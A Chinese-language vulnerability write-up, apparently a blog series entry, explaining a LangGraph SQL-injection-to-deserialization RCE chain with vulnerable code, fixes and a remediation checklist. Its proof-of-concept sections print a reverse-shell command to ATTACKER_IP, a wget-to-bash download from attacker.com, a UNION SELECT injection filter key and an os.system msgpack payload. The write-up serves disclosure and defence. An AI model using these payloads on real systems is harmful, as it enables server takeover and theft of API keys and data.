CVE-2025-67644 & CVE-2025-64439 | LangGraph SQL注入→反序列化RCE链:当AI Agent的状态持久层变成武器
⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。
漏洞等级: CVSS 7.3 / 7.4(组合利用可升级为严重)
影响版本: langgraph-checkpoint-sqlite < 3.0.1,langgraph < 1.0.10
漏洞类型: SQL注入 + 反序列化远程代码执行(RCE)
CVE编号: CVE-2025-67644(SQL注入)、CVE-2025-64439(反序列化RCE)、CVE-2026-28277(补充编号)
影响范围: 所有使用SQLite或Redis checkpoint后端的自托管LangGraph实例
当前状态: ✅ 已修复(langgraph-checkpoint-sqlite ≥ 3.0.1,langgraph ≥ 1.0.10)
一、漏洞背景
1.1 LangGraph是什么
LangGraph是由LangChain团队开发的开源AI Agent编排框架,月下载量约4650-5000万次,是当前Python生态中使用最广泛的Agent工作流引擎之一。
与简单的LLM调用链不同,LangGraph专注于构建有状态、多步骤、多Actor的AI Agent系统。它的核心设计理念是将Agent执行过程建模为一张有向图(Graph),每个节点是一个处理步骤,每条边定义了步骤间的流转逻辑。
核心组件——Checkpointer(检查点持久化层):
LangGraph区别于普通LLM链的关键特性是状态持久化。Agent运行过程中的对话历史、工具调用结果、中间推理步骤,全部通过checkpointer组件存储到后端数据库。这使得Agent可以"记住"之前的执行状态,支持暂停-恢复、时间旅行(回退到任意历史状态)、人机协作等高级能力。
LangGraph支持多种checkpoint后端:
| 后端 | 适用场景 | 部署模式 |
|---|---|---|
| SQLite | 本地开发、轻量部署 | 单文件数据库,开发环境常用 |
| Redis | 分布式、高性能 | 适合生产环境的内存存储 |
| PostgreSQL | 企业级生产环境 | LangSmith托管平台使用 |
1.2 漏洞发现与披露时间线
| 时间 | 事件 |
|---|---|
| 2025-11 | Check Point Research研究员Yarden Porat同时发现三个漏洞,披露给LangChain团队 |
| 2025-12 | 修复版本陆续开始发布 |
| 2026-03 | langgraph-checkpoint-redis 1.0.2 发布,修复最后一个漏洞 |
| 2026-06-11 | Check Point Research公开发表研究报告,完整披露攻击链 |
1.3 漏洞概述
这不是一个漏洞,而是一条完整的攻击链——两个独立漏洞的组合,形成了一条从SQL注入到远程代码执行的致命通路:
- CVE-2025-67644(CVSS 7.3):SQLite checkpoint层的SQL注入漏洞,允许攻击者在查询结果中插入伪造数据
- CVE-2025-64439(CVSS 7.4):msgpack反序列化层的远程代码执行漏洞,允许通过精心构造的序列化数据执行任意Python代码
单独来看,每个漏洞都是"中等严重"。但组合在一起,它们形成了一条完整的RCE链——攻击者可以通过一个SQL注入点,将恶意序列化payload注入到checkpoint数据中,然后在LangGraph加载该checkpoint时触发任意代码执行。
此外还涉及一个Redis checkpoint注入漏洞(CVE-2026-27022,CVSS 6.5),可绕过访问控制。
二、漏洞原理与复现
2.1 漏洞一:SQL注入(CVE-2025-67644)
位置: langgraph-checkpoint-sqlite 包中的 SQLiteSaver.metadata_predicate() 函数
根因: query_key 通过Python f-string直接拼接进SQL WHERE子句,没有使用参数化查询。
问题代码:
# metadata_predicate() 函数中的关键代码
def metadata_predicate(
metadata: dict[str, Any],
query_key: str,
operator: str
) -> str:
# ❌ 危险:query_key 通过 f-string 直接拼入 SQL
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
调用链:
# get_state_history() 和 list() 方法接受 filter 参数
# filter 中的 key 直接传入 metadata_predicate()
def get_state_history(
self,
config: RunnableConfig,
*,
filter: Optional[dict[str, Any]] = None # ← 用户可控
) -> Iterator[CheckpointTuple]:
if filter:
for query_key, value in filter.items():
# query_key 未经任何过滤或转义
predicate = metadata_predicate(metadata, query_key, operator)
# 拼入 SQL WHERE 子句 → SQL注入
where_clause += f" AND {predicate}"
攻击入口: get_state_history() 或 list() 方法的 filter 参数。如果应用层暴露了这个接口且 filter 的 key 来自用户输入,攻击者就可以注入任意SQL片段。
2.2 漏洞二:反序列化RCE(CVE-2025-64439)
位置: LangGraph的 JsonPlusSerializer 组件,具体在msgpack checkpoint解码器中
根因: 反序列化extension types时,使用了危险的 getattr(importlib.import_module(module_name), callable_name)(arguments) 模式,允许调用任意Python callable。
问题代码(简化):
# JsonPlusSerializer 中的 msgpack 反序列化逻辑
def _decode_ext_type(self, code: int, data: bytes):
module_name = extract_module(data) # 从序列化数据中提取模块名
callable_name = extract_callable(data) # 从序列化数据中提取可调用对象名
arguments = extract_args(data) # 从序列化数据中提取参数
# ❌ 致命:动态加载任意模块的任意函数并执行
module = importlib.import_module(module_name)
target = getattr(module, callable_name)
return target(**arguments) # ← RCE入口
攻击者可以构造恶意msgpack payload,使反序列化时执行:
# 等价于攻击者构造的 payload 被解码为:
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")
# 或者
import subprocess
subprocess.Popen(["wget", "http://attacker.com/malware.sh", "-O", "-", "|", "bash"])
本质: 这等同于Python版的 pickle.loads() 反序列化漏洞——任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。
2.3 数据流向(安全分析视角)
阶段1:SQL注入 → 植入恶意checkpoint
用户可控的 filter 参数
↓
metadata_predicate() [无参数化查询,f-string拼接]
↓
SQLite WHERE 子句 [UNION SELECT 注入伪造行]
↓
伪造的 checkpoint 行(含恶意 msgpack payload)
↓
查询结果返回给 LangGraph
阶段2:反序列化 → 触发RCE
LangGraph 加载 checkpoint
↓
msgpack 解码器 [JsonPlusSerializer]
↓
importlib.import_module() + getattr() [动态调用任意callable]
↓
os.system("恶意命令") [RCE达成]
↓
服务器完全失陷
核心问题:两个组件各自都有安全缺陷,单独存在时风险有限,但组合在一起形成了一条从"数据注入"到"代码执行"的完整攻击路径。
三、攻击流程介绍
3.1 漏洞利用前提
- LangGraph实例使用 SQLite checkpoint后端(或Redis后端,对应CVE-2026-27022)
- 应用暴露了
get_state_history()或list()接口,且 filter参数可由用户控制 - 受影响版本未打补丁
⚠️ 重要说明: LangChain官方托管平台(LangSmith Deployment)使用PostgreSQL后端,不受本次漏洞影响。受影响的主要是自托管部署中使用SQLite或Redis的实例。
3.2 利用路径总览
| 步骤 | 攻击阶段 | 揭示的风险 |
|---|---|---|
| Step 1 | SQL注入探测 | 确认filter参数可注入,checkpoint数据库可被操纵 |
| Step 2 | 注入伪造checkpoint | 通过UNION SELECT在查询结果中插入恶意序列化数据 |
| Step 3 | 触发反序列化 | LangGraph加载伪造checkpoint,触发msgpack解码 |
| Step 4 | RCE达成 | 任意代码执行,服务器完全控制 |
3.3 漏洞利用链路示意
┌──────────────────────────────┐
│ 攻击者 │
│ 构造恶意 filter 参数 │
└───────────┬──────────────────┘
│ Step 1: SQL注入
▼
┌──────────────────────────────┐
│ LangGraph 应用层 │
│ get_state_history(filter) │
│ filter 参数未做净化 │
└───────────┬──────────────────┘
│ Step 1→2: f-string拼入SQL
▼
┌──────────────────────────────┐
│ SQLite Checkpoint 数据库 │
│ UNION SELECT 注入伪造行 │
│ checkpoint列 = 恶意msgpack │
└───────────┬──────────────────┘
│ Step 3: 返回伪造checkpoint
▼
┌──────────────────────────────┐
│ JsonPlusSerializer │
│ msgpack 反序列化 │
│ importlib + getattr 调用 │
└───────────┬──────────────────┘
│ Step 4: RCE
▼
┌──────────────────────────────┐
│ 💀 服务器完全控制 │
│ - LLM API Keys 泄露 │
│ - 完整对话历史暴露 │
│ - 连接的数据系统可访问 │
│ - 内网横向移动跳板 │
└──────────────────────────────┘
四、模拟复现
以下为基于Check Point Research公开报告中的PoC思路,给出的概念验证教学示意。所有代码仅为理解漏洞原理,不构成直接可用的攻击工具。请仅在自己的测试环境中验证。
环境准备
- 测试环境:本地部署的 LangGraph 应用,使用 SQLite checkpoint 后端
- 受影响版本:
langgraph-checkpoint-sqlite < 3.0.1,langgraph < 1.0.10 - Python 3.10+
Step 1:SQL注入——植入伪造Checkpoint
攻击者通过 get_state_history() 的 filter 参数注入恶意SQL:
# 概念验证:SQL注入构造(教学示意,非可直接运行)
# 正常调用:
# graph.get_state_history(filter={"user_id": "alice"})
#
# 攻击者构造的恶意 filter key:
malicious_filter = {
"1') UNION SELECT "
"thread_id, checkpoint_ns, checkpoint_id, "
"parent_checkpoint_id, checkpoint, metadata " # 伪造的列数据
"FROM (SELECT "
"'malicious_thread', '', 'injected_checkpoint', '', "
# checkpoint列中嵌入恶意msgpack payload
"X'87...' AS checkpoint, " # 精心构造的 msgpack 二进制数据
"'{}' AS metadata) -- ": "value"
}
# 实际执行时,metadata_predicate() 会生成如下SQL:
# json_extract(CAST(metadata AS TEXT), '$.<注入的SQL>') <operator>
#
# 最终拼出的SQL类似:
# SELECT * FROM checkpoints WHERE
# json_extract(CAST(metadata AS TEXT), '$.1') UNION SELECT ...') = 'value'
#
# UNION SELECT 成功在查询结果中插入一行攻击者控制的伪造 checkpoint
Step 2:构造恶意msgpack Payload
利用CVE-2025-64439的反序列化特性,构造可以执行系统命令的msgpack extension type:
# 概念验证:恶意 msgpack payload 构造思路
import msgpack
# JsonPlusSerializer 使用 msgpack extension type 来编码 Python 对象
# extension type 的格式大致为:(module_name, callable_name, arguments)
# 攻击者需要构造一个 extension type,使其解码后等价于:
# import os; os.system("恶意命令")
# 恶意 payload 的核心结构(简化示意):
malicious_payload = {
"module": "os", # importlib.import_module("os")
"callable": "system", # getattr(os, "system")
"args": {
"command": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
}
}
# 将上述结构编码为 msgpack extension type 格式
# packed = msgpack.packb(malicious_payload, use_bin_type=True)
# 然后嵌入到 Step 1 的 UNION SELECT 的 checkpoint 列中
Step 3:触发反序列化——RCE达成
当LangGraph应用调用 get_state_history() 并接收到包含伪造checkpoint的查询结果时:
# 应用层代码(受害者端)
from langgraph.checkpoint.sqlite import SqliteSaver
checkpointer = SqliteSaver.from_conn_string("checkpoints.db")
# 这一调用会:
# 1. 执行被注入的SQL(Step 1的UNION SELECT生效)
# 2. 返回结果中包含攻击者伪造的checkpoint行
# 3. LangGraph尝试加载这个checkpoint
history = list(checkpointer.get_state_history(filter=malicious_filter))
# 在加载checkpoint的过程中:
# → checkpoint列的msgpack数据被送入 JsonPlusSerializer
# → msgpack解码器解析 extension type
# → importlib.import_module("os") + getattr(os, "system")
# → os.system("bash -c '...'") → 反弹shell到攻击者服务器
# → 💀 RCE 达成
Step 4:被控后的影响评估
一旦RCE成功,攻击者可以:
| 资产类别 | 具体内容 | 危害等级 |
|---|---|---|
| 🔴 LLM API密钥 | OpenAI、Anthropic、Google等所有配置的API Key | 密钥泄露 + 巨额账单 |
| 🔴 完整对话历史 | 所有Agent执行过的对话、prompt、工具调用结果 | 商业机密/用户隐私泄露 |
| 🔴 连接的数据系统 | CRM、工单系统、计费系统、客户PII数据 | 数据泄露 + 合规风险 |
| 🟡 内网横向移动 | 以服务器身份访问内部网络的其他系统 | 整个内网沦陷 |
| 🟡 持久化后门 | 在Agent工作流中植入后门,每次执行都触发 | 长期潜伏 |
💡 风险本质: LangGraph的checkpoint存储了Agent执行过程中的所有状态数据,包括LLM密钥、对话历史、工具调用凭据等。一个checkpoint层的注入漏洞,等同于整个AI Agent系统的"记忆"被篡改和窃取。
五、修复记录
5.1 官方修复
修复1:SQL注入防护(CVE-2025-67644)
修复版本:langgraph-checkpoint-sqlite ≥ 3.0.1
核心修复:将f-string拼接改为参数化查询。
# 修复前(危险):
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
# 修复后(安全):
# 使用参数化查询,query_key 作为参数传入,不再直接拼入SQL
cursor.execute(
"SELECT * FROM checkpoints WHERE json_extract(CAST(metadata AS TEXT), ?) = ?",
(f"$.{query_key}", value)
)
修复2:反序列化安全加固(CVE-2025-64439)
修复版本:langgraph ≥ 1.0.10
核心修复:对 JsonPlusSerializer 的extension type解码添加白名单机制,禁止加载非预期的模块和callable。
# 修复前(危险):
module = importlib.import_module(module_name) # 可加载任意模块
target = getattr(module, callable_name) # 可获取任意函数
# 修复后(安全):
# 添加允许的模块白名单,仅允许反序列化预定义的安全类型
ALLOWED_MODULES = {"langchain_core", "langgraph", "pydantic", ...}
if module_name not in ALLOWED_MODULES:
raise SecurityError(f"Deserialization of {module_name} is not allowed")
修复3:Redis checkpoint注入(CVE-2026-27022)
修复版本:langgraph-checkpoint-redis ≥ 1.0.2
核心修复:对RediSearch查询参数进行严格校验和转义,防止查询注入。
5.2 运营方自救清单
如果你正在运营使用LangGraph的AI Agent系统,请立即执行以下检查:
| 优先级 | 操作 | 说明 |
|---|---|---|
| 🔴 P0 | 检查版本 | 确认 langgraph-checkpoint-sqlite 是否 < 3.0.1,langgraph 是否 < 1.0.10 |
| 🔴 P0 | 立即升级 | pip install --upgrade langgraph-checkpoint-sqlite>=3.0.1 langgraph>=1.0.10 |
| 🔴 P0 | 排查filter入口 | 检查应用中是否有将用户输入直接传入 get_state_history(filter=...) 的代码路径 |
| 🟡 P1 | 轮换所有密钥 | 如果怀疑已被利用,立即轮换所有LLM API密钥和系统凭据 |
| 🟡 P1 | 检查审计日志 | 查看checkpoint数据库是否有异常的写入或查询记录 |
| 🟡 P1 | 部署认证层 | LangGraph Server不应直接暴露,必须在反向代理/API网关后加认证 |
| 🟢 P2 | 最小权限原则 | Agent运行时使用的凭据应遵循最小权限,限制可访问的系统范围 |
| 🟢 P2 | 采用credential brokering | 避免在Agent中使用长期静态密钥,改为动态凭据代理模式 |
5.3 关联漏洞提醒
LangGraph/LangChain生态在2025-2026年披露了多个安全漏洞,建议一并排查:
| CVE编号 | 类型 | CVSS | 影响 |
|---|---|---|---|
| CVE-2025-67644 | SQLite checkpoint SQL注入 | 7.3 | 本次文章 |
| CVE-2025-64439 | msgpack反序列化RCE | 7.4 | 本次文章 |
| CVE-2026-27022 | Redis checkpoint查询注入 | 6.5 | 绕过访问控制 |
| CVE-2026-28277 | 反序列化RCE补充编号 | 6.8 | 本次文章 |
六、总结与思考
6.1 这个漏洞链为什么值得关注?
单独看,SQL注入(7.3)和反序列化RCE(7.4)都只是"高"级别。但组合在一起,它们代表了一种经典的链式攻击模式——数据注入 → 代码执行。
这种模式在安全史上反复出现:
- 2015年的Apache Commons Collections反序列化链
- 2021年的Log4Shell(日志注入 → JNDI查找 → RCE)
- 现在的LangGraph(SQL注入 → 伪造checkpoint → 反序列化RCE)
核心教训是:安全评估不能只看单个漏洞的CVSS分数,而要看漏洞之间的组合效应。 两个"高"危漏洞组合在一起,实际危害可能超过一个"严重"漏洞。
6.2 对AI开发者的警示
-
Checkpointer是信任边界:checkpoint存储了Agent的"记忆",包括密钥、对话、工具调用结果。它不是一个普通的数据存储,而是整个Agent系统的信任根基。对checkpoint数据的读写必须有严格的安全控制。
-
参数化查询不是可选项:2025年了,SQL注入仍然是AI框架中的高危漏洞。任何接受用户输入并用于数据库查询的代码路径,都必须使用参数化查询,没有例外。
-
反序列化 = 代码执行:任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。Python的
pickle、msgpackextension types、Java的ObjectInputStream都是已知的危险区域。修复方案是白名单机制,而非黑名单。 -
AI Agent是特权身份:AI Agent通常持有LLM API密钥、数据库凭据、第三方服务token等高价值凭据。安全架构上应将Agent视为"compromised privileged account"——假设它随时可能被攻破,在此基础上设计纵深防御。
-
托管平台 ≠ 自托管:LangSmith使用PostgreSQL后端,不受此次SQLite漏洞影响。但大量企业在本地或私有云自托管LangGraph,使用的是SQLite做快速验证——这些"开发环境"往往最终变成了生产环境。
6.3 写在最后
2026年6月11日,Check Point Research公开披露了这条攻击链,引发了AI安全社区的广泛关注。LangGraph作为月下载量近5000万的Agent框架,其checkpoint层的安全缺陷影响范围不可小觑。
但这不意味着LangGraph"不安全"——恰恰相反,这次漏洞的发现、披露和修复流程是负责任披露的典范:2025年11月私下报告给LangChain团队,经过数月协调修复后,于2026年6月公开发表。LangChain团队也在收到报告后迅速发布了修复版本。
真正值得警惕的是模式:AI Agent框架正在快速成为企业基础设施的一部分,但它们的安全成熟度远未达到企业级要求。从FastGPT的未认证SSRF(第1篇),到PraisonAI的巨型漏洞簇(第2篇),再到LangGraph的SQL注入→RCE链,我们看到的是同一个问题反复出现——开发速度远超安全意识。
作为AI开发者,我们需要在"快速迭代"和"安全基线"之间找到平衡。至少做到:参数化查询、认证全覆盖、反序列化白名单、凭据最小权限。这四条做到了,80%的漏洞链就断了。
参考资料
- Check Point Research: LangGraph Vulnerability Report (2026-06-11)
- CVE-2025-67644 - NVD
- CVE-2025-64439 - NVD
- LangGraph GitHub Repository
- langgraph-checkpoint-sqlite PyPI
- CWE-89: SQL Injection
- CWE-502: Deserialization of Untrusted Data
- FreeBuf:大模型2025-2026新CVE漏洞全景
上一篇回顾: PraisonAI巨型漏洞簇——MCP STDIO供应链攻击
下一篇预告: Langflow路径遍历→RCE(CVE-2026-5027)——当AI工作流的文件访问没有边界
更多推荐


所有评论(0)